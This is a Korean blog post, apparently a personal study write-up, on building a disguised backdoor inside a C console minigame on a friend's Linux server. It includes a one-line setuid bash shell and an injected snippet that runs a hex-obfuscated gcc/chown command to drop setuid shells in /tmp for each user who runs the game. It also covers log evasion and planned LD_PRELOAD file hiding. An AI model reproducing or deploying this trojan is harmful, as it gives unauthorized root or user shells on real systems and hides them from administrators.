본문 바로가기

Study/C

backdoor #1 간단한 위장 백도어 생성 후기

오랫만에 친구서버에 접속한 저는 루트가 갖고 싶어졌습니다.

제가 루트를 따더라도 그걸 보여주면 좋아하는 친구이니 누이좋고 매부좋은 일임으로.. (선례가 있었습니다.)

(이와 같이 사전에 해당 서버 주인의 허가를 받고 일종의 모의해킹을 해주는일은 아주 좋은 일입니다.)

당장 저번에 포스팅한 Metasploit을 이용하여 취약점을 점검하였지만 커널도 최신이요 취약한 서비스도 없으무니다.

이럴때 좋은방법은 무엇일까요? 곰곰히 생각해보았습니다.

생각한 결과는 바로 위장술이었습니다.


일단 처음 착안한 아이디어는 이렇습니다.

누구나 실행할만한 파일을 만들자.

(편리하거나 재미있는 기능이 들어간 파일, 꼭 필요한 파일, 누구나 한번쯤 실행해보는 파일, 주인이 열어보고싶게되는 파일)


일종의 사회공학적인 부분도 있습니다.


꼭 필요한 파일이게끔 만드는 작업은 어려웠습니다.

자주쓰이거나 자신도 모르게 쓰게되는 중요한 시스템파일들이 바로 그것들인데

이미 만들어진것중에서 일반 유저로 접근이 가능한것을 찾기란 하늘의 별따기!

이것이 성공한다면 새로운 취약점이라 불릴만하겠네요 ㅋㅋ


어어.. 그리고 생각해보니까 꼭 악성코드 제작자분들의 마인드와 유사한것같네요. ㅋㅋ (맞나.. <-퍽)


서버를 운영하는 주변 아이들을 보면 걱정되는게 내부보안에대해선 많이 신경쓰지않는다는점입니다.

또 일반인들의 고정관념이 윈도우에만 바이러스가 넘쳐난다고 생각하는데요.

MS-DOS시절 이전부터 이어져온 유구한 역사를 보자면 전혀 그렇지 않은 점을 알수있습니다.

수가 적을뿐이지 결코 없는건 아닙니다. 백신도 요새 윈도우와 맥등 유저 친화적인 운영체제에만 있다는 점이 크겠네요.

리눅스계열에서는 실행만다면 결코 되돌릴수 없는 일이 일어날수도 있습니다.

지속적인 보안패치와 관리자의 주의가 항상 필요합니다.


여튼 차선책으로 직접 이서버에 없는것을 구해다가 그것을 수정해서 백도어 쉘을 만들도록 하였습니다.

생각해낸 소스는 바로 미니게임 소스입니다!

소스를 구하는 이유는 수정이 용이하기때문입니다. 뭐 바이너리를 직접수정하는 방법도 있겠지만

일단 저에게 친화적인 C 소스로(생각같아선 asm과도 친화적으로 싶네요.. 컴파일러가 없는 환경에서도 바이너리를 직접 작성하는 슈퍼햌커! 먼 희망입니다 ㅋㅋ C언어도 없던시절엔 모두 asm만 했을것이 분명하니.. 가끔 좀더 일찍태어나면 혹은 좀더 늦게 태어나면 어땠을까 하는 생각이듭니다 ㅋㅋ) 된 미니게임을 검색해보겠습니다.


친구가 평소 열심히 하던 미니게임을 보며

파일명만 본다면 좋아라 실행해볼 가능성이 풍부할듯합니다.

이점을 몇가지 보자면 재미있을진 모르겠지만 우선 신기합니다.

이 시대 사람들에겐 생소한 100% 오리지날 콘솔 미니게임!

누구나 한번쯤 실행해볼만합니다.

주인의 취향과도 일치하죠. 어떻습니까 ㅎㅎ


구체적인 계획을 세우고 실현해보았습니다.(사실 그런거 없고 하면서 그때그때 떠오른 생각을 적용한 결과입니다.)

모의해킹이니만큼 친구가 무서운 관리자라 생각하며 여러 측면을 고려하며 실제상황과 동일하게 시도하겠습니다.


1. 백도어쉘 소스 구상

생각 할것도 없이 간단하게 한줄! #include <unisted.h> main(){setreuid(geteuid(),geteuid());system("/bin/bash -p");}



2. 숨길 경로 물색하기&저장

뭔가 제 권한의 파일과 폴더들이 많아서 거기에 하나쯤 작성해놔도 이상할것 없는 경로를 생각해보았습니다.

헌데 아쉽게도 초기서버라서 홈디렉토리 안이 그나마 파일이 많고(그것조차 기본 설정파일들)

마침 홈디렉토리 public_html 파일이 있길래

저는 웹서비스 테스트를 하는 착한 친구로 보이기 위해 xpressengine을 급하게 받아와서 압축을 해제해두었습니다.

이제 제 권한의 파일과 폴더들이 잔뜩 생겼습니다. 있어도 이상한점도 안보입니다.

대충 깊은 경로로 들어가서 아무 index.html을 잡고

vi 에디터로 능숙하게 열어줍니다.

로그파일에도 착한 친구는 xe를 테스트하는데 창조정신(?)이 풍부한 나머지 그냥 파일하나 열어보겠거니 생각하게끔 남아있습니다.

이제 D를 쭉눌러줬습니다. DD가 한줄지우는 단축키인데 몇줄안되는만큼 금방 날아갔습니다.

이제 안에 있는 html 소스가 날아가고 빈공간입니다.

아까 소스를 얼른 작성하고 숨김파일로 다른이름으로 저장합니다. vi로그가 남던가요? 아직 몰라서 패스..

남는다면 무서운 관리자라 가정한 친구일지라도 그것까진 보지않을것입니다. 는 경기도 오산..

무서운 관리자는 정말 무서울것같네요..

뭐 남는다고 가정하면 정말 실전에선 vi 바이너리를 커스텀(로그 저장안하게끔 수정 특정경로에 있는 파일을 환경변수에 등록해두면 vi 이 두글자를 칠시 그곳을 우선으로 참조하기때문에 가능성좋음)한걸 가지고 직접하거나 아까 소스중간에 로그를 삭제하거나 변조하는 부분을 추가하면 되거나 간단하게는 zip파일을 받아올때 미리 안에 c파일도 깊숙히 숨겨놔서 다시 압축한것을 rz등으로 업로드하는 좋은 방법이있지만 우선 스킵

적어도 .bash_history와 같은 로그에는 앞서말했듯 깨끗합니다.



3. 쉘 저장경로와 방법 물색& 소스작성

제 파일이 있어도 이상할것이 없는 경로를 물색합니다.

또는 임시파일인것인마냥 생성되게 /tmp 디렉토리에 넣어줘도 무방합니다.

우선 저는 중간에 타겟을 바꿨음을 알려드립니다. 루트만이 아닌 모든 유저가 대상!

순수하게 어떤 유저라도 적용가능한 범용 위장 백도어를 만들고 싶었습니다 ㅋㅋ 마침 백도어쉘 소스에도 하자가없습니다.

저는 2가지중 후자를 택했는데요. other user에게도 w권한이 있는 /tmp 경로의 임시 디렉토리중 한곳

별로 안들어갈것같은곳에 별로 안수상해보이는 파일명으로 정합니다. 마치 임시파일인마냥..

뭐 어차피 setuid비트가 있어서 아는사람은 수상해보이겠네요ㅋㅋ


포스팅하다보니 점점 좋은 아이디어가 떠오릅니다.

미니게임의 게임의 랭킹 시스템을 만드는겁니다.

db라는 디렉터리를 /tmp에 만들고 그곳에 각자의 uid로 백도어 쉘을 생성

그냥 실행시킬경우 최종스코어만 바로 딱딱 출력되서 마치 점수를 저장해놓은 프로그램인마냥 놓고

($(date)와 밑에 쓸 uid추출방법을 이용해서 날짜-uid 이런식으로 파일을 저장하도록함)

알규먼트에 특정인자를 넣을경우에만 쉘이 실행되도록 변경하는 방법입니다.

랭킹 순위표프로그램도 작성해서 그 쉘 파일들의 출력을 바탕으로 순위를 보여주는 방법!


기술적인 부분도 떠올랐습니다.

LD_PRELOAD 환경변수를 이용해서 공유라이브러리를 후킹하는겁니다!

콘솔에서 ls명령어 같은걸로 제 백도어가 있는 디렉토리를 살펴볼려하면 마치 없는것인양 결과를 출력하게 한다던가

다른파일인양 보이게 하는 창의적인 방법입니다.

어 이건 공부가 많이 필요하겠네요 ㅋㅋ 이 아이디어 들은 나중에 적용해보기로하고 다시 후기로 넘어오자면


임시파일인 마냥 보이기 위해 제가 택한 경로는 socket 뭐시기 하는 srwxrwxrwx권한의 파일이 있는 분홍색으로 칠해진

처음보는 파일이 있는 디렉터리 였습니다.

생성한 파일명은 즉석으로 다음과 같이 정했습니다.

socket해당유저의uid

에.. 그럼 미니게임 소스를 구할차례인데요

앞서 랭킹시스템을 언급했듯 스코어 개념이 있는 어떤 좋은분이만든 소스를 우연히 발견하게되었습니다

구글에 검색했던 검색어는 linux 미니게임이름 입니다.

뭐 미니게임은 바둑이나 오목, 장기, 부르마블등 생각해보면 많이나옵니다.

이제 홈디렉토리에 vi로 직접 작성해봅시다.

오브젝트 파일까지 있어서 컴파일하는 특이한 구조였는데요 void main int main같은것이 안보여서 주석까지 정성스럽게 옮긴 후 그냥 main글자가 들어간 아무함수에 해당 소스를 삽입했습니다.

선언부 마지막부터 삽입한 부분입니다.

필요한 헤더는 감사하게도 프로그램에서 미리 include되있습니다ㅎㅎ

static int i=0;
        if(i==0){
                char cmd[400];
                char buffer[10];
                char ch[4]={0,0,0,0};
                int result=0;
                FILE *fp;
                fp = popen("/usr/bin/id", "r");
                fgets(buffer,10,fp);
                for(i=0; i<10; i++){
                        if(buffer[4]=='0')
                                break;
                        ch[0]=buffer[4];
                        ch[1]=buffer[5];
                        ch[2]=buffer[6];
                        ch[3]=buffer[7];
                }
                result=atoi(ch);
                sprintf(cmd,"\x67\x63\x63\x20\x2d\x6f\x20\x2f\x74\x6d\x70중략%d\x20\x2f\x68\x6f\x6d\x65\x2f중략%d",result,result);
                system(cmd);
        }



앞부분을 잠깐 설명하자면 popen 함수를 이용해 해당사용자의 uid를 확인후 배열에 저장.

for문 안에선 배열의 값을 확인하여 root와 일반유저의 uid를 구분하였고

루프는 필요없지만 요건 혹시 디버깅하는 친구를 위한 작은 배려입니다..

(0이면 root, 나머지는 xxxx대역이라 가정) 

이제 root면 0 일반유저면 해당 유저의 uid가 result에 저장됩니다.

임의로 수정된 sprintf부분을 제외하고 제가 실제로 썼던 소스와 동일합니다.

\x처리된 부분을 아스키로 변환하면 gcc -o 저장할경로%d 소스파일경로.c ; chown 6777 저장된경로%d

이런식이 됩니다.

완성된 커맨드를 다시 변수에 담고 그걸 실행시키는것으로 위장백도어 부분의 소스는 끝이납니다.

변수도 선언하고 이것저것 함수도호출하고 반복문도 돌리게되면서 상당한 리소스를 먹을것같아 생각끝에

쓸데없던 i변수는 static로 바꾸고 if문으로 전체 구문을 한번만 수행되도록,

{}내부에서 선언하고 이짓저짓 다하도록 만들었습니다.

안티디버깅 기술도 적용하면 좋겠지만 나중에.. 적용해봅시다.


4. 테스트

마지막순서네요. 이것으로 모든 준비는 끝났습니다.

컴파일하고 소스파일에서 백도어부분을 날려줍니다 아직까지 로그상으로 이상한점없습니다.

디버깅 이라도 공들여 하지않는이상(뜨끔..)

실행하게되면 미니게임이 뜨는 동시에 처음 동작시 백그라운드로 id를 추출해가서 쉘을 생성해줍니다.

포스팅하게되면서 어설픈과정은 깔끔하게 정리하고 중간에 떠오른 아이디어를 적다보니 사회공학적해킹 실력이 늘은것같습니다. 악성코드 개발자분들에게 대처하는 방법도 자연히 더 알게된것같고요.(적을 알면 좋은겁니다.)ㅎㅎ

긴글 읽어주셔서 정말 감사드립니다. 질문은 메일로 주시길바랍니다.